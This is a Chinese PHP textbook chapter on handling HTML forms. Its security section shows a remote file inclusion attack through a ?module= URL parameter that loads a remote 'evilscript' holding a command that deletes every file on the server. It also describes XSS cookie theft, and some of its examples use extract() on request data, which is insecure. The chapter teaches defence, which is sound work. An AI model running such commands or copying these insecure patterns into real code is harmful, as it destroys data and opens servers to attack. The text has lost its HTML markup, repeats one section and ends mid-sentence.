PHP表单详解
PHP表单详解
提到Web开发,就不得不提到HTML,它在若干年以来一直作为Web用户界面设计的事实标准。虽然现在WAP/XML等页面脚本的使用使得HTML作为一枝独秀的形势难以维系,但是如果要编写前端PHP的Web应用,开发者仍然需要了解HTML语言,尤其是HTML的表单部分。
在本章,我们将学习如下内容:
? 使用Dreamweaver设计HTML表单
? 使用PHP发送与接收表单数据
? PHP表单多页的传值及处理
? 使用PHP验证用户输入
? 在PHP中防止一些轻量级的攻击
? PHP的两种会话管理方式:COOKIE和SESSION
? 规划我们的Web应用程序
5.1 表单与HTML
HTML是一种简单的标记语言,为使用者提供了极大的灵活性,这一点使它很容易学习和编写,也同样是由于这一点,太多的网页设计人员对HTML的设计与编码几乎为滥用,导致一个页面在IE、Firefox、Mozila几个不同浏览器中显示得千差万别。
如今的Web设计已经启用新的标准,旨在使网页的HTML只包含内容和信息,以标准HTML和CSS(级联样式表)存储信息的方式,也就是现在流行的DIV+CSS设计标准。
有一些人建议使用XML来取代HTML语言。虽然XML有这样那样的强大功能,不过因为入门的门槛较高,让人望而生畏,而且目前有太多的HTML型网站,因此目前沿行的标准是HTML与XML的兼容规格,叫做XHTML,用以从HTML 过渡到XML。在本书中的代码都是基于XHTML兼容性的,建议你也将XHTML 应用到Web项目中。创建和处理表单是PHP开发者的一个重要能力指标。下面我们开始介绍如何设计表单。
表单是Web应用中最常用的组件,由提交按钮以及其他相关元素组成。表单被应用在各个领域中,用于实现注册用户、填写银行账户和登录等功能。
表单使用
作为开始标签,以结尾,否则将不起任何作用。在一个HTML页面中允许有若干个表单,在编写时以表单的名字(name)和Form ID作为它们之间的区分。下面是最简单的表单,代码如下:
这个表单在浏览器上只会显示一个按钮―提交查询内容‖字样,没有太多的意义。如果要提交数据并形成一个完整的表单,需要在
标签增加两个比较重要的属性标签:action和method,如以下表单所示:
其中,action标签指的是接收处理结果的文件位置,当action值为空时,则提交给当前文件本身,如果action的值为其他文件或URL,则提交给该文件或URL 地址处理。
method标签是描述提交数据时使用的方法,它有两种值:GET和POST,如果没有设置method属性或该属性为空值,浏览器默认method的值为POST方法。下面是处理POST表单的方法。
例5-1:getPasswd.php –接受POST表单提交的值
$action = $_SERVER['PHP_SELF'];
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
echo '使用POST方法传递表单值';
echo "$_POST[email]";
}
?>
如果要在浏览器中发送表单或数据给服务器端,使用GET或POST方法都能实现。GET方法是在访问URL时,使用浏览器地址栏来传递值。我们可以在很多网站上看到这类URL串,图5-1所示的就是使用GET方法传递参数。
图5-1
GET方法方便直观,缺点是访问该网站的用户也可以修改URL串后发送给服务器,如果程序处理得不够好很容易出错,而且GET传递的字符串长度不能超过250个字符,如果超长,浏览器会自动截断,导致数据缺失。另外,GET方法不支持ASCII字符之外的任何字符,比如包含有汉字或其他非ASCII 字符时,需要使用额外的编码操作,虽然有时候浏览器也能自动完成(可以使用url_encode 和url_decode函数,使用方法详见2.9.2 节)。
POST方法发送变量数据时,对于用户来说是不透明的,按HTTP协议来说,数据附加于header的头信息中,用户不能随意修改,这对于Web应用程序而言,安全性要好得多,而且使用POST可以发送大体积的数据给Web服务器。
因为POST是随HTTP的header信息一起发送的,当触发POST表单提交后,如果用户浏览页面时单击―后退‖按钮,浏览器不会自动重发POST数据。如果用户此时单击―刷新‖按钮,将会有―数据已经过期,是否重新提交表单‖的提示,这一点不如GET使用方便。使用GET传值时,即便用户使用―后退‖或―刷新‖按钮,浏览器的URL地址也是仍然存在的。
因此,我们在开发中需要根据实际应用灵活选择GET和POST来提交表单数据。值得一提的是,如果在HTML中缺少表单结束标记,那么整个表单是不会触发任何提交动作的。在实际开发时,一些粗心的人会发现单击按钮没有任何反映,其实细心检查一下表单的代码就可以了,有时即使少写了一个HTML字符,浏览器也不会替我们干活的。
5.4 表单元素
表单所使用的标签元素有十几个,PHP开发中常用及较重要的标签如表5-1所示。
现,当用户填写资料表单和跨页之间传值时,可以使用该标签传递一些隐含的值。password密码文本框用于隐藏密码,用户输入的文本将以*显示在文本框中,但是密码并没有加密,只是被*替换显示,这点请注意。
下面介绍表单的属性,它们用于表单中约束表单元素的行为或显示,其含义与约束如表5-2所示。
表5-2
等,可以参阅HTML相关资料。
在一些动态脚本中,需要使用PHP根据不同的请求从数据库生成表单元素,下面我们就来展示几种生成表单按钮或选项的方法。
1.动态生成一组单选按钮。
$options = array("010" => "北京",
"020" => "上海",
"024" => "沈阳",
"0411" => "大连");
$default = "024";
$html = generate_radio_group("city_id", $options, $default);
echo $html;
function generate_radio_group($name, $options, $default="") {
$name = htmlentities($name);
foreach($options as $value => $label) {
$value = htmlentities($value);
$html .= "
if ($value == $default){
$html .= "CHECKED ";
}
$html .= "NAME=\"$name\" V ALUE=\"$value\">";
$html .= $label . "
";
}
return($html);
}
?>
该脚本将生成一列单选按钮组,名称为city_id,默认选项为024-―沈阳‖。2.动态生成多选项下拉列表菜单。
function generate_checkboxes($name,$options, $default=array()) {
if (!is_array($default)){
$default = array();
}
foreach($options as $value => $label) {
$html .= "
if (in_array($value, $default)){
$html .= "checked ";
}
$html .= "name=\"{$name}[]\" value=\"$value\">";
$html .= $label . "
";
}
return($html);
}
$interests = array("音乐" => "音乐",
"电影" => "电影",
"互联网" => "互联网",
"旅游" => "旅游");
$html = generate_checkboxes("interests",$options, $interests);
?>
选择您的爱好:
3.生成多选下拉列表菜单。
$options = array(
'1' => '请选择',
'news' => '新闻',
'events' => '事件',
'publications' => '稿件'
);
$default = "news"; //默认已选择的项
$html =generate_muilti_option("select", $options, $default);
echo $html;
function generate_muilti_option ($name,$options, $default){
//建立一个允许多选的列表单
echo '
foreach( $options as $value => $option ) {
echo '';
}
echo '';
}
?>
一般动态生成的菜单,多为从数据库取得数据或数据数组,转换成动态HTML 菜单,也可以手工创建.
5.5 表单的处理方法
5.5.1 检查表单提交的来源
有些时候,我们需要对表单提交的来源进行处理,比如只允许某个主机或向脚本本身进行提交,防止有的人伪造相同的表单向我们的程序提交,造成安全问题。前面我们介绍到,PHP的$_SERVER服务器超级全局数组提供了一个叫$_SERVER['HTTP_REFERER']的变量,用于保存上一页的来源,比如表单提交或者超级链接的URL地址。如果有人从他的计算机中提交表单或从浏览器地址中直接输入当前脚本名称,该变量会保存表单来源或为空值,这样我们就可以通过它的值进行处理。
下面的例子只允许文件本身提交表单传递值。
例5-2:formreferer.php –判断表单来源地址
$action = $_SERVER['PHP_SELF'];
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
$ref = $_SERVER['HTTP_REFERER'];
$srv = "http://{$_SERVER['SERVER_NAME']}$action";
echo "当前来源为:
$ref
服务器地址为:
$srv
--------------------------------------------------------------------------------
";
if (strcmp($srv, $ref) == 0){
echo "匹配";
} else{
echo "不允许站外提交";
}
}else{
echo '请提交表单';}
?>
该例中用到的$_SERVER服务器变量有如下几个:
? HTTP_REFERER 保存一个完整的来源URL地址。
? SERVER_NAME 当前的服务器名称。
? PHP_SELF 当前脚本的完整路径,包括文件名。
我们可以通过―http://
图5-2
5.5.2 一个完整表单处理
前面我们已经了解了处理表单的简单方式。下面我们将创建一个复杂的表单,代码如下所示。
该表单包括了常用表单元素:单行文本框、多行文本框、单选项(radio)、多选项(checkbox),以及多选菜单。下面进行详细的说明。
? maxlength是与密码文本框关联的属性,它限制用户输入密码的最大长度为10个字符。
? age列表框是列表菜单,它的命名属性下都有自己的值供选择。selected是一个特定的属性选择元素,如果某个option附加有该属性,在显示时就把该项列为第一项显示。
? intro文本框中的内容,按照rows和cols显示文字、行和列宽。
? fave_sport是一组单选按钮(radio),我们要按组命名元素名称,比如这一组单选按钮都叫做fave_sport,用户只可选择一个,发送脚本端也只存在一个值。? 和单选项一样,所有多选项成员也须有同名的属性,而属性名称需要添加括号[],这样就把多选项的值以数组形式发送给PHP,languages就是这种形式。
? checked标签是指单选项和多选项中的某个值,默认已经被选择。
上面表单的显示画面如图5-3所示。
图5-3
因为上面HTML中的form表单使用的是POST方法传递数据,所以用户提交的数据会保存到$_POST或$_REQUEST的超级全局数组中,我们根据$_POST数组中的值就可以处理提交的数据。
将上面表单中数据提交到someform.php脚本,该脚本的处理逻辑如下:
//通过判断按钮的变量名是否在$_POST中定义,如果有表示该表单已提交
if(isset($_POST["btn_submit"])){
if (empty($_POST['username'])){
echo "您没有输入用户名";
exit(0);
}
if (empty($_POST['password'])){
echo "您没有输入密码: ";
exit(0);
}
echo "您的用户名:".$_POST['user_name']."
";
echo "您的密码(明文):".$_POST['password']."
";
echo "您的年龄:".$_POST['age']."
";
if (!empty($_POST['languages'])){
echo "您选择的语言为:";
//处理用户选择兴趣的checkbox按钮产生的数组
foreach ($_POST['languages'] as $lang){
echo $lang. " ";
}
} else {
echo "您没有输入任何兴趣爱好";
}
if (!empty($_POST['develop_ide'])){
echo "您使用的开发工具为:";
//处理用户多选开发工具菜单产生的数组
foreach ($_POST['develop_ide'] as $ide){
echo $ide. " ";
}
} else {
echo "您没有选择开发工具";
}
echo "您的自我介绍:".nl2br($_POST['intro'])."
";
echo "网页隐藏值(通过hidden标签值传递):".$_POST['from']."
";
}
?>
说明:使用POST方式提交表单,通过HTTP协议的header部分传递表单数据,理论上数据的大小无上限。不过,在使用PHP进行POST提交时,文件大小受PHP配置文件(php.ini)限制,我们可以修改php.ini文件中的post_max_size参数,可将默认的2M字节,修改为自己需要的大小,但由于HTTP协议的特性,这个值不宜设置过大,最大以8M为宜。
5.6 其他处理表单的方法
下面,让我们一起来看两种处理表单的编程方法以及它们的优缺点。
5.6.1 使用import_request_variables()函数
使用import_request_variables()函数可以有选择地注册全局变量集合。你可以使用该函数导入$_GET、$_POST和$_COOKIE的值,还可以为每个导入的变量添加前缀(prefix)。
bool import_request_variables ( string types [,string prefix])
参数中types字符串中允许为g、p、c字符,或者3个字符间任意的组合。其中,―g‖表示GET变量,―p‖表示POST变量,―c‖表示cookies。
注意:3个字符的排列顺序是有区别的,当使用―pg‖时,POST变量将使用相同的名字覆盖$_GET变量;反之,当使用―gp‖时,$_GET变量数组将优先于$_POST。prefix参数作为变量名的前缀,置于所有被导入到全局作用域的变量之前。比如我们有个名为―userid‖的$_GET超级全局变量数组,同时提供了―pref_‖作为前缀,那么我们将获得一个名为$pref_userid的全局变量。如果我们要导入其他全局变量(例如$_SERVER变量),则请考虑使用extract()函数(在函数一章中有介绍)。注意,在使用prefix前缀时,不要与现有数据或变量名产生冲突。
使用import_request_variable()函数实现变量导入的脚本例子如下:
//导入POST提交的变量值,前缀为post_
import_request_variable("p","post_");
//导入GET和POST提交的变量值,前缀为gp_,GET优先于POST
import_request_variable("gp","gp_");
//导入Cookie和GET的变量值,Cookie变量值优先于GET
import_request_variable("cg","cg_");
如果我们在import_request_variables()函数中使用了―pg参数‖,请看如下脚本实例:
if(isset($_REQUEST['btn_submit'])){
echo "正常取得的表单POST变量值:".$_REQUEST['Username']."
"; import_request_variables("pg", "import_");
//显示导入的变量名称
echo "使用import_request_variables函数导入的变量值:".$import_Username;
}
?>
该表单提示用户输入一个名字,完成并提交后,脚本会把提交的名字显示在浏览器上,如图5-4所示。
图5-4
注意:prefix前缀参数是必选的,如果未指定前缀,或者指定一个空字符串作为变量前缀,PHP会抛出一个E_NOTICE错误。
import_request_variables()函数为我们提供一个中间方法,适用于如下几种情况:1.当用户不能使用超级变量数组时;
2.在php.ini配置文件的register_globals参数为Off(PHP 5之后的版本默认为Off)时,使用import_request_variables将GET/POST/Cookie这几个超级变量数组导入到全局作用域中。
3.在开发时,只要声明了引入的变量范围,就不必写$_GET或$_REQUEST一堆很长的超级全局数组名称了。
5.6.2 使用extract()函数
我们可以使用extract()函数,比如在接收页面脚本的最前面加上extract($_POST);extract($_GET);这样的语句,导出几个用于表单处理的超级变量数组值,如以下代码所示:
@extract(i_addslashes($_POST), EXTR_OVERWRITE);
@extract(i_addslashes($_GET), EXTR_OVERWRITE);
@extract(i_addslashes($_COOKIE), EXTR_OVERWRITE);
@extract(i_addslashes($_SESSION), EXTR_OVERWRITE);
我们看一个使用extract导出为正常变量的脚本例子:
// 将$_GET和$_POST超级变量数组获取的变量转为正常的变量,这样直接显示变量名称即可
extract($_GET);
extract($_POST);
echo "您好, $username $age";
?>
实现的界面如图5-5所示。
5.7 多页面间传递数据
当遇到一个非常大的表单时,不可能把所有的表单都放在一个页面里面,需要将一个大表单分解成若干个小表单,并保存于几个页面中,当第一个表单填写完后,需要收集该表单的值并传递给下一个表单页面。
我们可以使用如下方法进行处理。
? 使用表单的隐含元素(hidden)。
? 把当前表单的数据保存在SESSION中(详情请参见会话一章)。
? 把当前表单的数据保存在MySQL数据库中。
你可以从以上三个方案中选择一种易于程序处理和调试的解决方案。表单的传值可以使用POST,这样传递数据的尺寸不成问题,另外,在调试程序时,我们可以通过查看HTML源文件方式,来知道当前的变量是否是预想的值。
对于一个非常大的表单,我们就要想办法把它们分解成两个或更多个表单以方便用户输入,这需要在页面间传值,代码如下:
当多个页面传递数据时,我们可以使用类似上面的语句来处理前一页或通过URL 传递的值。
5.7 多页面间传递数据
当遇到一个非常大的表单时,不可能把所有的表单都放在一个页面里面,需要将一个大表单分解成若干个小表单,并保存于几个页面中,当第一个表单填写完后,需要收集该表单的值并传递给下一个表单页面。
我们可以使用如下方法进行处理。
? 使用表单的隐含元素(hidden)。
? 把当前表单的数据保存在SESSION中(详情请参见会话一章)。
? 把当前表单的数据保存在MySQL数据库中。
你可以从以上三个方案中选择一种易于程序处理和调试的解决方案。表单的传值可以使用POST,这样传递数据的尺寸不成问题,另外,在调试程序时,我们可以通过查看HTML源文件方式,来知道当前的变量是否是预想的值。
对于一个非常大的表单,我们就要想办法把它们分解成两个或更多个表单以方便用户输入,这需要在页面间传值,代码如下:
当多个页面传递数据时,我们可以使用类似上面的语句来处理前一页或通过URL 传递的值。
5.9 表单安全
网站的访客是千差万别的,他可能是一个学生,也可能是一位教授,可能是一个什么都不懂的电脑菜鸟,更有可能是个黑客,不管是弹出意外的错误,还是故意找碴,他们总是喜欢不按我们希望的方式输入,或者寻找我们网站的安全漏洞。网站中一些常见漏洞,很多原因是开发者的大意造成的,当然还有一部分原因是因为操作系统或服务器配置的原因。常见的安全隐患与比例如表5-4所示。
表5-4
这个结果作为我们编写程序时的警钟,它告诉我们,为了保证系统的安全,一定注意这几个漏洞,不要为了贪图一时之便,或者为了执行的效率而牺牲了系统安全性,万一失掉了宝贵的数据,或者网站被别人用来发放不良信息而影响了信誉,就得不偿失了。
在本节中,我们介绍导致站点被连续攻击的漏洞,然后,介绍针对这些问题介绍技术解决方法。
5.9.1 处理全局性错误
可以确定,一些经常发生的错误是完全可以避免的,另外经常浏览安全网站,或订阅相关的邮件列表,可以注意到每周的安全焦点和预防措施,以及专门针对于PHP应用程序的攻防策略。
1.全局变量
一个最基本错误是没有适当地初始化全局变量。注意设置php.ini的开关参数。虽然PHP 5的register_globals参数值默认为Off,但为了防止这种错误的发生,我们仍要注意这个问题,如果程序中不能生成变量,那么这个程序很可能是在register_globals为On的状态下的开发的。
下面的代码就是在register_blobals=On的状态下开发的:
session_start();
/*
* $admin是一个session变量设置验证后的初始值
*/
if (!$admin) {
do_exit();
} else {
do_admin();
}
?>
尽管这段代码看上去非常简单,并且也没有明显的语法错误,好像没有太多安全问题,但是只要存在一个缺陷,就可能导致一个攻击者使用这个程序行使―管理员‖的权限。最多也最容易发生的问题是程序员使用动态的文件包括语句来处理页面流程,如以下代码所示。
include_once $module. '.php';
?>
这个脚本可以被攻击者利用,在服务器上执行任意PHP代码。
如果在浏览器上的URL GET参数,简单地加入?module=https://www.360docs.net/doc/c114671347.html,/evilscript,会是什么效果?如果PHP接收到这个URL,会把$module变量等于https://www.360docs.net/doc/c114671347.html,/evilscript.php。当运行到include()函数时,PHP会尝试在https://www.360docs.net/doc/c114671347.html,包含这个evilscript.php,以及执行这个程序的代码,而evilscript可能包含如下的代码:
'find / -exec rm "{}" ";"';
?>
这串代码可以访问我们的服务器,并且把服务器上所有的文件全部删除!
还有一些潜在的危险,那就是register_globals的一些特性,我们一步一步地处理:首先,我们要在php.ini中将register_globals设置为Off;
第二步,将程序里的$admin,全部换成$_SESSION['admin'];
第三步,我们要解决的是,在程序进行包含操作之前,检查在本地机器中该文件是否存在,如果不存在,则不进行包含操作,比如进行如下的改进:
if (file_exists($module. '.php')) {
include $module. '.php';
}
?>
2.客户端恶意脚本
常见Web站点不安全的编程漏洞包括:密码漏洞、跨站脚本漏洞、不安全的存储漏洞和拒绝服务漏洞。
下面我们一起讨论跨站式XSS脚本攻击技术。
跨站式XSS漏洞主要是因为HTML没有明确区分代码和数据;其次,程序在将用户数据发送回浏览器时没有进行有效的转义,这导致包含有引号的数据被放入页面中。
一个攻击者可能利用一个客户端脚本来执行一些片断,例如JavaScript或VBScript,来窃取Cookies或其他敏感数据,这些攻击只需要通过插入一行HTML 数据到我们的网站就能实施。
例如,这个攻击者可能将一些代码输入到我们网站的文本框,如果我们的程序没有过滤HTML标志,该代码将会被插入到网站数据库中,比如,图5-7所示的用户界面。
图5-7
这是一个显示用户注册的页面,攻击者可能会在文本框中连续输入如下代码:
如果没经过滤就将数据插入到数据库中,在点击查看用户信息时,将会出现图5-8所示的效果。
图5-8
未经验证输入的后果是,攻击者利用XSS 脚本攻击我们的网站,并有可能取得管理员登录的Cookie信息。
另外,在网站的前台页面,如果攻击者在上面的JavaScript中加入一个无限循环,可能就比较麻烦了,浏览者可能需要结束浏览器进程才能避免对话框的再次出现,那么该访问者可能再也不会进入我们的网站。
3.预防XSS攻击的方法
预防XSS攻击最简单的方法就是过滤从表单来的数据,可以使用PHP函数以及数据库的过滤函数。我们使用如下函数或语句。
? 使用htmlspecialchars()解码―'‖,―"‖,―<‖,―>‖和―&‖这些HTML编码,前面我们说过使用htmlentities()转换任意的HTML超文本实体,主要就是过滤输出(过滤